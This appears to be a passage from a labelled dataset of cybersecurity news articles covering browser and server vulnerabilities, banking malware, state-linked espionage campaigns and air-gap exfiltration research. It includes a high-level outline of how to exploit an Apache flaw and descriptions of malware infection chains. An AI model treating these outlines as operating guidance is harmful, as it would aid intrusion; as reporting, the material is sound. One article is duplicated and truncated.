The first vulnerability is known as a ""Permission escalation vulnerability"", and allows attackers to install additional ""arbitrary applications with arbitrary permissions"", without first asking the user if they want to permit such actions. This would allow attackers to access call records, texts, web browsing history and media stored on the device.

The second bug only affects the Samsung Nexus S smartphone. It lets attackers gain root access on the device, providing them with full control over the handset. Google has yet to address the security issues.

",Vulnerability
Update Your Safari Browser to Patch Two Dozen of Critical Vulnerabilities,https://thehackernews.com/2014/04/update-your-safari-browser-to-patch-two.html,"So, is your Safari Web Browser Updated?? Make sure you have the latest web browser updated for your Apple Macintosh systems, as Apple released Safari 6.1.3 and Safari 7.0.3 with new security updates.

These Security updates addresses multiple vulnerabilities in its Safari web browser, which has always been the standard browser for Mac users.

This times not five or ten, in fact about two dozen. Apple issued a security update to patch a total of 27 vulnerabilities in Safari web browser, including the one which was highlighted at Pwn2Own 2014 hacking competition.

The available updates replace the browser running OSX 10.7 and 10.8 with the latest versions of browser 6.1.3, and OSX 10.9 with 7.0.3.

Among the 27 vulnerabilities, the most remarkable vulnerability addressed in the update is CVE-2014-1303, a heap-based buffer overflow that can be remotely exploited and could lead to bypass a sandbox protection mechanism via unspecified vector.

This vulnerability is the one used by Liang Chen of ""Keen Team,"" a Shanghai-based group of security researchers who hacked Safari on the second day of Pwn2Own hacking competition this year held in March 12-13 at the CanSecWest security conference in Vancouver, resulting in a $65,000 reward.

The vulnerabilities involved memory corruption errors in the WebKit, which if exploited by a malicious or specially crafted website, could allow a remote attacker to execute arbitrary code on the victim's machine or completely crashing of the software as a result of DoS condition. This could also be a great starting step for injecting malware onto the victims' computer.

Another notable vulnerability is CVE-2014-1713, reported by the French security firm VUPEN, known for selling zero-day exploits, typically to law enforcement and government intelligence agencies, and HP's Zero Day Initiative.

VUPEN also exploited several targets in this year's Pwn2Own competition, including Chrome, Adobe Flash and Adobe Reader, and Microsoft's Internet Explorer, taking home $400,000 of the total contest payout for the IE 11 zero-day.

More than half of the bugs were fixed by the Google Chrome Security team in this latest Apple updates, as both Google's Chrome browser and Safari are powered by the WebKit framework.

Apple also specially mentioned a different flaw discovered by Ian Beer of Google's Project Zero, which could enable an attacker running arbitrary code in the WebProcess to read arbitrary files despite Safari's sandbox restrictions.

Last month, Apple issued iOS 7.1 update for iPhones, iPads and iPod Touches to patch several vulnerabilities, including the one in the mobile Safari.

Apple has released software updates and instructions on obtaining the updates at the following links: Software Updates and Safari 6.1.3 and 7.0.3. so, apple users are advised to update their Safari browser as soon as possible.

",Vulnerability
New Apache Web Server Bug Threatens Security of Shared Web Hosts,https://thehackernews.com/2019/04/apache-web-server-security.html,"Mark J Cox, one of the founding members of the Apache Software Foundation and the OpenSSL project, today posted a tweet warning users about a recently discovered important flaw in Apache HTTP Server software.

The Apache web server is one of the most popular, widely used open-source web servers in the world that powers almost 40 percent of the whole Internet.

The vulnerability, identified as CVE-2019-0211, was discovered by Charles Fol, a security engineer at Ambionics Security firm, and patched by the Apache developers in the latest version 2.4.39 of its software released today.

The flaw affects Apache HTTP Server versions 2.4.17 through 2.4.38 and could allow any less-privileged user to execute arbitrary code with root privileges on the targeted server.

""In Apache HTTP Server 2.4 releases 2.4.17 to 2.4.38, with MPM event, worker or prefork, code executing in less-privileged child processes or threads (including scripts executed by an in-process scripting interpreter) could execute arbitrary code with the privileges of the parent process (usually root) by manipulating the scoreboard. Non-Unix systems are not affected,"" the advisory says.

Though the researcher has not yet released a working Proof-of-Concept (PoC) exploit code for this flaw, Charles today published a blog post explaining how an attacker can exploit this flaw in 4 before mentioned steps:

Obtain R/W access on a worker process,
Write a fake prefork_child_bucket structure in the SHM,
Make all_buckets[bucket] point to the structure,
Await 6:25AM to get an arbitrary function call.

According to Cox, the vulnerability is more concerning for shared web hosting services, where malicious customers or a hacker with ability to execute PHP or CGI scripts on a website can make use of the flaw to gain root access on the server, eventually compromising all other websites hosted on the same server.

Besides this, the latest Apache httpd 2.4.39 version also patches three low and two other important severity issues.

The second important flaw (CVE-2019-0217) could allow ""a user with valid credentials to authenticate using another username, bypassing configured access control restrictions.""

The third vulnerability is a mod_ssl access control bypass (CVE-2019-0215), ""a bug in mod_ssl when using per-location client certificate verification with TLSv1.3 allowed a client supporting Post-Handshake Authentication to bypass configured access control restrictions.""

We have seen how previous disclosures of severe flaws in web application frameworks have resulted in PoC exploits being published within a day and exploitation in the wild, putting critical infrastructure as well as customers' data at risk.

Therefore, web hosting services, organizations managing their own servers and website administrators are strongly advised to upgrade their Apache HTTP instances to the latest versions as soon as possible.

",Vulnerability
Dark Tequila Banking Malware Uncovered After 5 Years of Activity,https://thehackernews.com/2018/08/mexico-banking-malware.html,"Security researchers at Kaspersky Labs have uncovered a new, complex malware campaign that has been targeting customers of several Mexican banking institutions since at least 2013.

Dubbed Dark Tequila, the campaign delivers an advanced keylogger malware that managed to stay under the radar for five years due to its highly targeted nature and a few evasion techniques.

Dark Tequila has primarily been designed to steal victims' financial information from a long list of online banking sites, as well as login credentials to popular websites, ranging from code versioning repositories to public file storage accounts and domain registrars.

The list of targeted sites includes ""Cpanels, Plesk, online flight reservation systems, Microsoft Office 365, IBM Lotus Notes clients, Zimbra email, Bitbucket, Amazon, GoDaddy, Register, Namecheap, Dropbox, Softlayer, Rackspace, and other services,"" the researchers say in a blog post.

The malware gets delivered to the victims' computers in the first place either via spear-phishing or infected USB devices.

Once executed, a multi-stage payload infects the victim's computer only after certain conditions are met, which includes checking if the infected computer has any antivirus or security suite installed or is running in an analysis environment.

Besides this, ""the threat actor behind it strictly monitors and controls all operations. If there is a casual infection, which is not in Mexico or is not of interest, the malware is uninstalled remotely from the victim's machine,"" the researchers say.

The Dark Tequila malware basically includes 6 primary modules, as follows:

1. C&C – This part of the malware manages communication between the infected computer and the command and control (C&C) server and also responsible for monitoring man-in-the-middle attacks to defend against malware analysis.
2. CleanUp – While performing evasion techniques, if the malware detects any 'suspicious' activity—like running on a virtual machine or debugging tools—it performs a full cleanup of the infected system, removing the persistence service as well as forensic evidence of its presence.
3. Keylogger – This module has been designed to monitor the system and logs keystrokes to steal login credentials for a preloaded list of websites—both banking as well as other popular sites.
4. Information Stealer – This password stealing module extracts saved passwords from email and FTP clients, as well as browsers.
5. The USB Infector – This module replicates itself and infects additional computers via USB drives. It copies an executable file to a removable drive that runs automatically when plugged to other systems.
6. Service Watchdog – This module is responsible for making sure that the malware is running properly.

According to the researchers, the Dark Tequila campaign is still active and can be deployed in any part of the world to attack any target ""according to the interests of the threat actor behind it.""

To protect yourself, you are recommended to always be vigilant of suspicious emails and keep a good antivirus solution to protect against such threats before they infect you or your network.

Most importantly, avoid connecting untrusted removable and USB devices to your computer, and consider disabling auto-run on USB devices.

",Malware
"Android Forums hacked, User Credentials Stolen",https://thehackernews.com/2012/07/android-forums-hacked-user-credentials.html,"Phandroid's Android Forums Web site is hacked and user account details stolen, according to a notice posted online. The data includes the user names, e-mail addresses, hashed passwords, and registration IP addresses of the forums' more than 1 million users.

If you are one of them, you should change your password: go to your UserCP or use the Forgot your password?. Furthermore, if you use the same e-mail address and password combination elsewhere, you should change it there as well.

""I have some unfortunate news to pass along,"" the post reads. ""Yesterday I was informed by our sever/developer team that the server hosting Androidforums.com was compromised and the website's database was accessed. While the breach is most likely harmless, there are important and potential pitfalls, and we want to provide as much helpful information to our users as possible (without getting too technical).""

Phandroid will continue to investigate what happened. The exploit used has been identified and resolved. All code that resides in the database and the file system has been thoroughly reviewed for malicious edits and uploads.

Recently, the social Q&A Web site Formspring said that it was the victim of a hack that yielded hashed passwords for around 420,000 of its users. Yahoo warned users of its Yahoo Voice service of a breach in which 400,000 plaintext passwords were stolen from the company and posted online.

",Vulnerability
Watch Out! Zyxel Firewalls and VPNs Under Active Cyberattack,https://thehackernews.com/2021/06/watch-out-zyxel-firewalls-and-vpns.html,"Taiwanese networking equipment company Zyxel is warning customers of an ongoing attack targeting a ""small subset"" of its security products such as firewall and VPN servers.
Attributing the attacks to a ""sophisticated threat actor,"" the firm noted that the attacks single out appliances that have remote management or SSL VPN enabled, namely in the USG/ZyWALL, USG FLEX, ATP, and VPN series running on-premise ZLD firmware, implying that the targeted devices are publicly accessible over the internet.
""The threat actor attempts to access a device through WAN; if successful, they then bypass authentication and establish SSL VPN tunnels with unknown user accounts, such as 'zyxel_slIvpn', 'zyxel_ts', or 'zyxel_vpn_test', to manipulate the device's configuration,"" Zyxel said in an email message, which was shared on Twitter.
As of writing, it's not immediately known if the attacks are exploiting previously known vulnerabilities in Zyxel devices or if they leverage a zero-day flaw to breach the systems. Also unclear is the scale of the attack and the number of users affected.
To reduce the attack surface, the company is recommending customers to disable HTTP/HTTPS services from the WAN and implement a list of restricted geo-IP to enable remote access only from trusted locations.
Earlier this year, Zyxel patched a critical vulnerability in its firmware to remove a hard-coded user account ""zyfwp"" (CVE-2020-29583) that could be abused by an attacker to login with administrative privileges and compromise the confidentiality, integrity, and availability of the device.
The development comes as enterprise VPNs and other network devices have become a top target of attackers in a series of campaigns aimed at finding new avenues into corporate networks, giving the threat actors the ability to laterally move across the network and gather sensitive intelligence for espionage and other financially-motivated operations.

",Cyber_Attack
Newly Uncovered 'MoneyTaker' Hacker Group Stole Millions from U.S. & Russian Banks,https://thehackernews.com/2017/12/bank-hackers.html,"Security researchers have uncovered a previously undetected group of Russian-speaking hackers that has silently been targeting Banks, financial institutions, and legal firms, primarily in the United States, UK, and Russia.

Moscow-based security firm Group-IB published a 36-page report on Monday, providing details about the newly-disclosed hacking group, dubbed MoneyTaker, which has been operating since at least May 2016.

In the past 18 months, the hacking group is believed to have conducted more than 20 attacks against various financial organisations—stolen more than $11 Million and sensitive documents that could be used for next attacks.

According to the security firm, the group has primarily been targeting card processing systems, including the AWS CBR (Russian Interbank System) and SWIFT international bank messaging service (United States).
""Criminals stole documentation for OceanSystems' FedLink card processing system, which is used by 200 banks in Latin America and the US."" Group-IB says in its report.
Group-IB also warned that the MoneyTaker attacks against financial organizations appear to be ongoing and banks in Latin America could be their next target.

MoneyTaker: 1.5 Years of Silent Operations

Since its first successful attack in May last year, MoneyTaker has targeted banks in California, Illinois, Utah, Oklahoma, Colorado, South Carolina, Missouri, North Carolina, Virginia and Florida, primarily targeting small community banks with limited cyber defenses.

Even after a large number of attacks against so many targets, MoneyTaker group managed to keep their activities concealed and unattributed by using various publicly available penetration testing and hacking tools, including Metasploit, NirCmd, psexec, Mimikatz, Powershell Empire, and code demonstrated as proof-of-concepts at a Russian hacking conference in 2016.
""To propagate across the network, hackers used a legitimate tool psexec, which is typical for network administrators."" Group-IB says in its report.

Besides using open-source tools, the group has also been heavily utilizing Citadel and Kronos banking trojans to deliver a Point-of-Sale (POS) malware, dubbed ScanPOS.
""Upon execution, ScanPOS grabs information about the current running processes and collects the user name and privileges on the infected system. That said, it is primarily designed to dump process memory and search for payment card track data. The Trojan checks any collected data using Luhn's algorithm for validation and then sends it outbound to the C&C server.""
""The group uses 'fileless' malware only existing in RAM and is destroyed after reboot. To ensure persistence in the system MoneyTaker relies on PowerShell and VBS scripts - they are both difficult to detect by antivirus and easy to modify. In some cases, they have made changes to source code 'on the fly' – during the attack,""
""To escalate privileges up to the local administrator (or SYSTEM local user), attackers use exploit modules from the standard Metasploit pack, or exploits designed to bypass the UAC technology. With local administrator privileges they can use the Mimikatz program, which is loaded into the memory using Meterpreter, to extract unencrypted Windows credentials.""
Moreover, MoneyTaker also makes use of SSL certificates generated using names of well-known brands—including as Bank of America, Microsoft, Yahoo and Federal Reserve Bank—to hide its malicious traffic.
The hacking group also configure their servers in a way that malicious payloads can only be delivered to a predetermined list of IP addresses belonging to the targeted company. Also, it relies on PowerShell and VBS scripts to ensure persistence in the targeted system.

The very first attack, which Group-IB attributes to MoneyTaker was conducted in May 2016, when the group managed to gain access to First Data's STAR—the largest U.S. bank transfer messaging system connecting ATMs at over 5,000 organizations—and stole money.

In January 2017, the similar attack was repeated against another bank.

Here's how the attack works:
""The scheme is extremely simple. After taking control over the bank's network, the attackers checked if they could connect to the card processing system. Following this, they legally opened or bought cards of the bank whose IT system they had hacked,"" Group-IB explains.
""Money mules – criminals who withdraw money from ATMs – with previously activated cards went abroad and waited for the operation to begin. After getting into the card processing system, the attackers removed or increased cash withdrawal limits for the cards held by the mules.""
The money mules then removed overdraft limits, which made it possible for them to overdraw cash even with debit cards. Using these cards, they ""withdrew cash from ATMs, one by one.""

According to the report, the average money stolen by MoneyTaker from United States banks alone was about $500,000, and more than $3 million was stolen from at least three Russian banks.

The report also detailed an attack against a Russian bank, wherein the MoneyTaker group used a modular malware program to target the AWS CBR (Automated Work Station Client of the Russian Central Bank)—a Russian interbank fund transfer system similar to SWIFT.

The modular tool had capabilities to search for payment orders and modify them, replace original payment details with fraudulent ones, and carefully erase malware traces after completing its tasks.

While it is still unclear how MoneyTaker managed to get its foothold in the corporate network, in one specific case, the entry point of compromise of the bank's internal network was the home computer of the bank's system administrator.

Group-IB believes that the hackers are now looking for ways to compromise the SWIFT interbank communication system, although it found no evidence of MoneyTaker behind any of the recent cyber attacks on SWIFT systems.

",Malware
Pakistan-linked hackers targeted Indian power company with ReverseRat,https://thehackernews.com/2021/06/pakistan-linked-hackers-targeted-indian.html,"A threat actor with suspected ties to Pakistan has been striking government and energy organizations in the South and Central Asia regions to deploy a remote access trojan on compromised Windows systems, according to new research.
""Most of the organizations that exhibited signs of compromise were in India, and a small number were in Afghanistan,"" Lumen's Black Lotus Labs said in a Tuesday analysis. ""The potentially compromised victims aligned with the government and power utility verticals.""
Some of the victims include a foreign government organization, a power transmission organization, and a power generation and transmission organization. The covert operation is said to have begun at least in January 2021.
The intrusions are notable for a number of reasons, not least because in addition to its highly-targeted nature, the tactics, techniques, and procedures (TTPs) adopted by the adversary rely on repurposed open-source code and the use of compromised domains in the same country as the targeted entity to host their malicious files.
At the same time, the group has been careful to hide their activity by modifying the registry keys, granting them the ability to surreptitiously maintain persistence on the target device without attracting attention.
Explaining the multi-step infection chain, Lumen noted the campaign ""resulted in the victim downloading two agents; one resided in-memory, while the second was side-loaded, granting threat actor persistence on the infected workstations.""
The attack commences with a malicious link sent via phishing emails or messages that, when clicked, downloads a ZIP archive file containing a Microsoft shortcut file (.lnk) and a decoy PDF file from a compromised domain.
The shortcut file, besides displaying the benign document to the unsuspecting recipient, also takes care of stealthily fetching and running an HTA (HTML application) file from the same compromised website.
The lure documents largely describe events catering to India, disguising as a user manual for registering and booking an appointment for COVID-19 vaccine through the CoWIN online portal, while a few others masquerade as the Bombay Sappers, a regiment of the Corps of Engineers of the Indian Army.
Irrespective of the PDF document displayed to the victim, the HTA file — itself a JavaScript code based on a GitHub project called CactusTorch — is leveraged to inject a 32-bit shellcode into a running process to ultimately install a .NET backdoor called ReverseRat that runs the typical spyware gamut, with capabilities to capture screenshots, terminate processes, execute arbitrary executables, perform file operations, and upload data to a remote server.
The custom-developed framework also comes with a third component in which a second HTA file is downloaded from the same domain to deploy the open-source AllaKore remote agent, potentially in an alternative attempt to maintain access to the compromised network.
""While this threat actor's targets have thus far remained within the South and Central Asian regions, they have proven effective at gaining access to networks of interest,"" the researchers said. ""Despite previously relying upon open-source frameworks such as AllaKore, the actor was able to remain effective and expand its capabilities with the development of the Svchostt agent and other components of the ReverseRat project.""

",Malware
Facebook profiles can be hijacked by Chrome extensions malware,https://thehackernews.com/2012/03/facebook-profiles-can-be-hijacked-by.html,"Facebook profiles can be hijacked by Chrome extensions malware

Cybercriminals are uploading malicious Chrome browser extensions to the official Chrome Web Store and use them to hijack Facebook accounts, according to security researchers from Kaspersky Lab. The rogue extensions are advertised on Facebook by scammers and claim to allow changing the color of profile pages, tracking profile visitors or even removing social media viruses.

The attacks manifest as suggestions to download Facebook apps. Those apps are, alas, not real. Instead they are malware and, in one case, a malware-laden Chrome extension hosted in Google's very own Chrome Web Store. To do that, they must follow a series of steps, which include installing a fake Adobe Flash Player Chrome extension. The launchpad for the fake Flash Player is a Facebook app called ""Aprenda"". If Aprenda is installed it redirects users to Chrome Web Store, encouraging them to install the fake Flash extension.

""This last one caught our attention not because it asks the user to install a malicious extension, but because the malicious extension is hosted at the official Google's Chrome Web Store. If the user clicks on 'install application' he will be redirected to the official store. The malicious extension presents itself as ""Adobe Flash Player"", wrote Fabio Assolini. ""Be careful when using Facebook. And think twice before installing a Google Chrome extension,"" he adds.

Uploading multiple rogue extensions on the Chrome Web Store and running several Facebook spam campaigns to advertise them allows attackers to quickly compromise thousands of accounts. The malware operates in much the same way as other Facebook scams, such as inviting friends to install it, however the purpose of the highjacking accounts is to generate fraudulent ""Likes"" which are sold for about US$27 per 1,000.

Now, the extension Assolini found was concentrated in Brazil, where Chrome enjoys 45% of the browser market and Facebook is by far the most popular social network. That does not, however, mean that the problem is isolated to Brazil. The malicious extension was installed in numerous countries, including the U.S..

With these potential security risks in mind, ""Think twice before installing a Google Chrome extension"".

",Malware
Critical Flash Player Update to fix 11 Security Holes,https://thehackernews.com/2011/05/critical-flash-player-update-to-fix-11.html,"Critical Flash Player Update to fix 11 Security Holes

Adobe has released another batch of security updates for its ubiquitous Flash Playersoftware. This ""critical"" patch fixes at least 11 vulnerabilities, including one that reports suggest is being exploited in targeted email attacks.



In the advisory that accompanies this update, Adobe said ""there are reports of malware attempting to exploit one of the vulnerabilities, CVE-2011-0627, in the wild via a Flash (.swf) file embedded in aMicrosoft Word (.doc) or Microsoft Excel (.xls) file delivered as an email attachment targeting the Windows platform. However, to date, Adobe has not obtained a sample that successfully completes an attack.""
The vulnerabilities exist in Flash versions 10.2.159.1 and earlier for Windows, Mac, Linuxand Solaris. To learn which version of Flash you have, visit this link. The new version for most platforms is 10.3.181.14; Android users should upgrade to Flash Player 10.3.185.21available by browsing to the Android Marketplace on an Android phone; Google appears to have updated Chrome users automatically with this version of Flash back on May 6 (Chrome versions 11.0.696.68 and later have the newest Flash version).
Remember that if you use Internet Explorer in addition to other browsers, you will need to apply this update twice: Once to install the Flash Active X plugin for IE, and again to update other browsers, such as Firefox and Opera. Updates are available by browsing with the appropriate browser to the Flash Player Download Center. Bear in mind that updating via the Download Center involves installing Adobe's Download Manager, which may try to foist additional software. If you'd prefer to update manually, the direct installers for Windows should be available at this link. If you run into problems installing this update, you'll want to uninstall previous versions of Flash Player and then try again.
Adobe says Flash Player 10.3 includes a new auto-update notification mechanism for the Macintosh platform, which should alert Mac users to new Flash updates (this feature has been available on the Windows platform for a while now).
Source : https://krebsonsecurity.com/

",Malware
Hackers Are Using Android Malware To Spy On Israeli Military Personnel,https://thehackernews.com/2017/02/android-malware-israeli-military.html,"A group of highly sophisticated state-sponsored hackers is spying on the Israeli military by hacking into the personal Android phones of individual soldiers to monitor their activities and steal data.

A newly released research by Lookout and Kaspersky suggests that more than 100 Israeli servicemen from the Israeli Defense Force (IDF) are believed to have been targeted with spyware.

Dubbed ViperRAT, the malware has specifically been designed to hijack Israeli soldiers' Android-based smartphones and remotely exfiltrate data of high value, including photos and audio recordings, directly from the compromised devices.

Modus Operandi Identified

According to the security firms, IDF personnel had been compromised by social engineering techniques — where the soldiers were lured via Facebook Messenger and other social networks into entering communications with hackers who posed as attractive women from various countries like Canada, Germany, and Switzerland.

The soldiers were then tricked into installing a trojanized version of two different, typically legitimate Android chat apps, SR Chat and YeeCall Pro, for easier communication.

The malware has also been distributed using a dropper hidden in other Android smartphone applications including a billiards game, an Israeli Love Songs player, and a Move To iOS app, which are common to Israeli citizens and available in the Google Play store.
The app then scanned soldiers' smartphones and downloaded another malicious application that masqueraded as an update for one of the already installed apps, such as WhatsApp, and tricked victims to allow various permissions in order to carry out surveillance.

This, in turn, allowed the attackers to execute on demand commands, enabling them to control phone's microphone and camera, eavesdrop on soldiers' conversations, and peer into live camera footage.

Besides this, the ViperRAT malware gathers a broad range of data from compromised devices including geolocation, call log, personal photos, SMS messages, cell phone tower information, network and device metadata, internet browsing, and app download history.

According to researchers, the hackers were able to successfully establish a widespread cyber espionage campaign by compromising dozens of mobile devices from Samsung, HTC, LG and Huawei belonging to over 100 Israeli soldiers.

Besides, almost 9,000 files stolen from compromised devices (roughly 97 percent) that were exfiltrated from compromised devices were identified by Lookout researchers as being highly encrypted images, which were taken using the device camera.

However, it's likely the IDF is not the only target.

The ViperRAT attack campaign started in July and continued to date, according to Kaspersky researchers.

Is Hamas Behind the Cyber-Spying Operation?

The IDF closely worked with Kaspersky Labs and Lookout to investigate this incident and theorized that Hamas was behind these attacks. However, Lookout researchers have come to doubt that theory.

According to Lookout researchers, ""Based on tradecraft, the modular structure of code and use of cryptographic protocols [AES and RSA encryption] the actor appears to be quite sophisticated.""

Researchers say Hamas is not known for sophisticated mobile capabilities, which makes it unlikely they are directly responsible for ViperRAT.

The IDF is currently working together with both Lookout and Kaspersky to identify infected targets and protect against further attacks, but there is one simple way to protect against ViperRAT: don't download apps from untrusted third-party sources.

",Malware
Exfiltrating Data from Air-Gapped Computers Using Screen Brightness,https://thehackernews.com/2020/02/hacking-air-gapped-computers.html,"It may sound creepy and unreal, but hackers can also exfiltrate sensitive data from your computer by simply changing the brightness of the screen, new cybersecurity research shared with The Hacker News revealed.

In recent years, several cybersecurity researchers demonstrated innovative ways to covertly exfiltrate data from a physically isolated air-gapped computer that can't connect wirelessly or physically with other computers or network devices.

These clever ideas rely on exploiting little-noticed emissions of a computer's components, such as light, sound, heat, radio frequencies, or ultrasonic waves, and even using the current fluctuations in the power lines.

For instance, potential attackers could sabotage supply chains to infect an air-gapped computer, but they can't always count on an insider to unknowingly carry a USB with the data back out of a targeted facility.

When it comes to high-value targets, these unusual techniques, which may sound theoretical and useless to many, could play an important role in exfiltrating sensitive data from an infected but air-gapped computer.

How Does the Brightness Air-Gapped Attack Work?

In his latest research with fellow academics, Mordechai Guri, the head of the cybersecurity research center at Israel's Ben Gurion University, devised a new covert optical channel using which attackers can steal data from air-gapped computers without requiring network connectivity or physically contacting the devices.

""This covert channel is invisible, and it works even while the user is working on the computer. Malware on a compromised computer can obtain sensitive data (e.g., files, images, encryption keys, and passwords), and modulate it within the screen brightness, invisible to users,"" the researchers said.

The fundamental idea behind encoding and decoding of data is similar to the previous cases, i.e., malware encodes the collected information as a stream of bytes and then modulate it as '1' and '0' signal.


In this case, the attacker uses small changes in the LCD screen brightness, which remains invisible to the naked eye, to covertly modulate binary information in morse-code like patterns

""In LCD screens each pixel presents a combination of RGB colors which produce the required compound color. In the proposed modulation, the RGB color component of each pixel is slightly changed.""

""These changes are invisible, since they are relatively small and occur fast, up to the screen refresh rate. Moreover, the overall color change of the image on the screen is invisible to the user.""

The attacker, on the other hand, can collect this data stream using video recording of the compromised computer's display, taken by a local surveillance camera, smartphone camera, or a webcam and can then reconstruct exfiltrated information using image processing techniques.

As shown in the video demonstration shared with The Hacker News, researchers infected an air-gapped computer with specialized malware that intercepts the screen buffer to modulate the data in ASK by modifying the brightness of the bitmap according to the current bit ('1' or '0').


You can find detailed technical information on this research in the paper [PDF] titled, 'BRIGHTNESS: Leaking Sensitive Data from Air-Gapped Workstations via Screen Brightness,' published yesterday by Mordechai Guri, Dima Bykhovsky and Yuval Elovici.

Air-Gapped Popular Data Exfiltration Techniques

It's not the first time Ben-Gurion researchers came up with a covert technique to target air-gapped computers. Their previous research of hacking air-gap machines include:

PowerHammer attack to exfiltrate data from air-gapped computers through power lines.
MOSQUITO technique using which two (or more) air-gapped PCs placed in the same room can covertly exchange data via ultrasonic waves.
BeatCoin technique that could let attackers steal private encryption keys from air-gapped cryptocurrency wallets.
aIR-Jumper attack that takes sensitive information from air-gapped computers with the help of infrared-equipped CCTV cameras that are used for night vision.
MAGNETO and ODINI techniques use CPU-generated magnetic fields as a covert channel between air-gapped systems and nearby smartphones.
USBee attack that can be used to steal data from air-gapped computers using radio frequency transmissions from USB connectors.
DiskFiltration attack that can steal data using sound signals emitted from the hard disk drive (HDD) of the targeted air-gapped computer;
BitWhisper that relies on heat exchange between two computer systems to stealthily siphon passwords or security keys;
AirHopper that turns a computer's video card into an FM transmitter to capture keystrokes;
Fansmitter technique that uses noise emitted by a computer fan to transmit data; and
GSMem attack that relies on cellular frequencies.

",Malware
Hackers Stole 50 Million Facebook Users' Access Tokens Using Zero-Day Flaw,https://thehackernews.com/2018/09/facebook-account-hack.html,"Logged out from your Facebook account automatically? Well you're not alone…

Facebook just admitted that an unknown hacker or a group of hackers exploited a zero-day vulnerability in its social media platform that allowed them to steal secret access tokens for more than 50 million accounts.

UPDATE: 10 Important Updates You Need To Know About the Latest Facebook Hacking Incident.

In a brief blog post published Friday, Facebook revealed that its security team discovered the attack three days ago (on 25 September) and they are still investigating the security incident.

The vulnerability, whose technical details has yet not been disclosed and now patched by Facebook, resided in the ""View As"" feature—an option that allows users to find out what other Facebook users would see if they visit your profile.

According to the social media giant, the vulnerability allowed hackers to steal secret access tokens that could then be used to directly access users' private information without requiring their original account password or validating two-factor authentication code.

Secret access tokens ""are the equivalent of digital keys that keep people logged in to Facebook, so they don't need to re-enter their password every time they use the app.""
To prevent its users' accounts, Facebook has already reset access tokens for nearly 50 million affected Facebook accounts and an additional 40 million accounts, as a precaution.
""We're taking this incredibly seriously and wanted to let everyone know what's happened and the immediate action we've taken to protect people's security,"" Facebook said.
""As a result, around 90 million people will now have to log back in to Facebook, or any of their apps that use Facebook Login. After they have logged back in, people will get a notification at the top of their News Feed explaining what happened.""
The ""View as"" feature has also temporarily been disabled, at the time of writing. Facebook has also notified law enforcement officials of the security breach.

Since the investigation is still in the early stages, Facebook has yet to determine whether the attackers misused the stolen access tokens for 50 million accounts or if any information was accessed.

Facebook is already under heavy fire since the revelation that consultancy firm Cambridge Analytica had misused data of 87 million Facebook users to help Donald Trump win the US presidency in 2016.

The Cambridge Analytica scandal led to public outcry for lawmakers to hold Facebook accountable for its data-management practices, raising questions about whether Facebook can be trusted to protect the personal data of its 2 billion users.

And now, the recent revelation has once again underlines the failure of the social-media giant to protect its users' information while generating billions of dollars in revenue from the same information.

",Data_Breaches
Cyber espionage by Chinese hackers in neighbouring nations is on the rise,https://thehackernews.com/2021/06/cyber-espionage-by-chinese-hackers-in.html,"A string of cyber espionage campaigns dating all the way back to 2014 and likely focused on gathering defense information from neighbouring countries have been linked to a Chinese military-intelligence apparatus.
In a wide-ranging report published by Massachusetts-headquartered Recorded Future this week, the cybersecurity firm's Insikt Group said it identified ties between a group it tracks as ""RedFoxtrot"" to the People's Liberation Army (PLA) Unit 69010 operating out of Ürümqi, the capital of the Xinjiang Uyghur Autonomous Region in the country.
Previously called the Lanzhou Military Region's Second Technical Reconnaissance Bureau, Unit 69010 is a military cover for a Technical Reconnaissance Bureau (TRB) within China's Strategic Support Force (SSF) Network Systems Department (NSD).
The connection to PLA Unit 69010 stems from what the researchers said were ""lax operational security measures"" adopted by an unnamed suspected RedFoxtrot threat actor, whose online persona disclosed the physical address of the reconnaissance bureau and has had a history of affiliating with the PLA's former Communications Command Academy in Wuhan.
RedFoxtrot is noted to target government, defense, and telecommunications sectors across Central Asia, India, and Pakistan, with intrusions in the last six months directed against three Indian aerospace and defense contractors as well as major telecommunications providers and government agencies in Afghanistan, India, Kazakhstan, and Pakistan.
""Activity over this period showed a particular focus on Indian targets, which occurred at a time of heightened border tensions between India and the People's Republic of China,"" the researchers said.
Attacks staged by the adversary involved an assortment of open- and closed-source tools that have been shared across Chinese cyber espionage groups, including PlugX, Royal Road RTF weaponizer, QUICKHEAL, PCShare, IceFog, and Poison Ivy RAT.
Also observed is the use of AXIOMATICASYMPTOTE infrastructure, which encompasses a modular Windows backdoor called ShadowPad that has been previously attributed to APT41 and subsequently shared between other Chinese state-backed actors.
Furthermore, domains registered by RedFoxtrot — ""inbsnl.ddns[.]info"" and ""adtl.mywire[.]org"" — suggest that the threat actor may have set its sights on Indian telecom service provider Bharat Sanchar Nigam Limited (BSNL) and a Bengaluru-based company called Alpha Design Technologies Limited (ADTL) that specializes in research and development of missile, radar, and satellite systems.
The development comes more than three months after another China-linked threat group, dubbed RedEcho, was uncovered targeting India's power grid, including a power plant run by National Thermal Power Corporation (NTPC) Limited and New Delhi-based Power System Operation Corporation Limited.

",Malware
Pakistan-linked hackers targeted Indian power company with ReverseRat,https://thehackernews.com/2021/06/pakistan-linked-hackers-targeted-indian.html,"A threat actor with suspected ties to Pakistan has been striking government and energy organizations in the South and Central Asia regions to deploy a remote access trojan on compromised Windows systems, according to new research.
""Most of the organizations that exhibited signs of compromise were in India, and a small number were in Afghanistan,"" Lumen's Black Lotus Labs said in a Tuesday analysis. ""The potentially compromised victims aligned with the government and power utility verticals.""
Some of the victims include a foreign government organization, a power transmission organization, and a power generation and transmission organization. The covert operation is said to have begun at least in January 2021.
The intrusions are notable for a number of reasons, not least because in addition to its highly-targeted nature, the tactics, techniques, and procedures (TTPs) adopted by the adversary rely on repurposed open-source code and the use of compromised domains in the same country as the targeted entity to host their malicious files.
At the same time, the group has been careful to hide their activity by modifying the registry keys, granting them the ability to surreptitiously maintain persistence on the target device without attracting attention.
Explaining the multi-step infection chain, Lumen noted the campaign ""resulted in the victim downloading two agents; one resided in-memory, while the second was side-loaded, granting threat actor persistence on the infected workstations.""
The attack commences with a malicious link sent via phishing emails or messages that, when clicked, downloads a ZIP archive file containing a Microsoft shortcut file (.lnk) and a decoy PDF file from a compromised domain.
The shortcut file, besides displaying the benign document to the unsuspecting recipient, also takes care of stealthily fetching and running an HTA (HTML application) file from the same compromised website.
The lure documents largely describe events catering to India, disguising as a user manual for registering and booking an appointment for COVID-19 vaccine through the CoWIN online portal, while a few others masquerade as the Bombay Sappers, a regiment of the Corps of Engineers of the Indian Army.
